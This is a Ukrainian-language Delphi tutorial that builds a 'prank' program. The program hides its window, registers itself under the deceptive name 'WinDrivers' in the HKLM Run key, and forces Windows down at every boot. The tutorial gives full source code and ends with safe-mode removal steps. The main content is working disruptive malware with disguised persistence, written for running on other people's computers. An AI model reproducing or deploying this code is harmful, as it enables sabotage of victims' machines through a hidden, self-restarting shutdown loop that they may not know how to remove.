У цьому уроці ми навчимося створювати програму, яка автоматично вимикає комп’ютер при завантаженні вінди. Писати будемо на Delphi. Спочатку подумаємо чого ми хочемо від програми і як реалізовувати.

ЦІЛІ

1. Програма повинна вимикати комп’ютер при завантаженні Windows
1.1. Реалізується через реєстру, а саме — його ключ автозавантаження
2. Праграмма повинна бути непомітна для користувача
2.2. Для цього потрібно всього навсього не робити візуальної форми (підкреслюю — візуальної, тобто видимої для користувача)

Так… З цілями розібралися. Тепер створимо новий проект в Дельфи. Насамперед потрібно зробити форму спрятаной від очей користувача. Можна так само заховати її з Менеджера Процесів… але це потрібно для троянів, в даному випадку це нам не знадобиться.
Отже, до справи. Project/Options (Проект/Опції), перше, що бачимо — два віконця, в одному написано Form1, в іншому — нічого. Тиснемо на Form1, а потім на кнопці “>”. Натискаємо ОК. Цим ми прибрали форму з автосоздаваемых. Тобто, програма не буде її створювати автоматично. Ми самі напишемо код для її створення, але з нашими параметрами (в нашому випадку — параметрами приховування). Зробимо це прямо зараз. Тиснемо Проект/Показати исходник, там вносимо необхідні зміни, щоб код був такий:

program localzhuk; //я так назвав свою програму 🙂 Це поле залишаємо недоторканим

uses
Forms,
Windows, //Прописуємо це
localzhuktxt in ‘localzhuktxt.pas’ {Form1};

{$R *.res}

var
h: THandle; //Робимо змінну-дескриптор. Потрібно для відліку часу
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE); //задаємо параметри показу вікна
Form1:=TForm1.Create(nil); //Створюємо форму (буде невидима, див. попередній рядок)
Application.Run;
h:=CreateEvent(nil, true, false, ‘et’); //Робимо порожнє подія. Потрібно для відліку часу
while (true) do //Поки не буде true
begin
WaitForSingleObject(h, 1000); //за кожну секунду
Application.ProcessMessages; //передавати управління програмою
end;
end.

Все, з цим готово. Поразбирайте самостійно код — для кращого розуміння. Тепер, клацнувши два рази на формі, перенесемося в редактор коду (подія — створення форми). Пишемо наступний код:

var
autorun: TRegIniFile; //робимо змінну реєстрових даних (для роботи з реєстром)
begin
autorun:=TRegIniFile.Create(‘Run’); //ініціалізуємо змінну
autorun.RootKey:=HKEY_LOCAL_MACHINE; //прописуємо корневый ключ
autorun.OpenKey(‘SOFTWARE’, true); //Відкриваємо ключ
autorun.OpenKey(‘Microsoft’, true); //Відкриваємо ключ
autorun.OpenKey(‘Windows’, true); //Відкриваємо ключ
autorun.OpenKey(‘CurrentVersion’, true); //Відкриваємо ключ
autorun.WriteString(‘Run’, ‘WinDrivers’, Application.ExeName); //створюємо новий ключ в папці Run
//з назвою WinDrivers
//і значенням, яке дорівнює шляху до файлу програми
autorun.Free; //Закриваємо змінну
ExitWindowsEx(EWX_FORCE, 0); //команда вимикання комп’ютера

Ми використовували реєстру, так що в глобальному розділі uses впишемо Registry.

Сподіваюся, з цим все ясно. Збережіть, скомпілюйте. Тепер поговоримо про нейтралізацію програми. Погодьтеся, неприємно, якщо ви помилково запустили цю програму-прикол на комп’ютері, а як нейтралізувати незнаете. Якщо ви не можете включити комп’ютер через цієї програми, завантажитеся в безорасном режиму (F8 при завантаженні компа), натисніть Пуск/Виконати, введіть Regedit. У відкритому вікні пройдіть за адресою HKEY_LOCAL_MACHINESOFTWAREMicrosoftwindowscurrentversionrun, знайдіть ключ WinDrivers і зітріть його. Тепер спокійно запускайтесь в звичайному режимі. До речі, робота з Regedit’ом допоможе вам краще зрозуміти код.
Сподіваюся, цей урок допоможе вам в написанні програм, які працюють з реєстром. І, звичайно, написанні програм-приколів!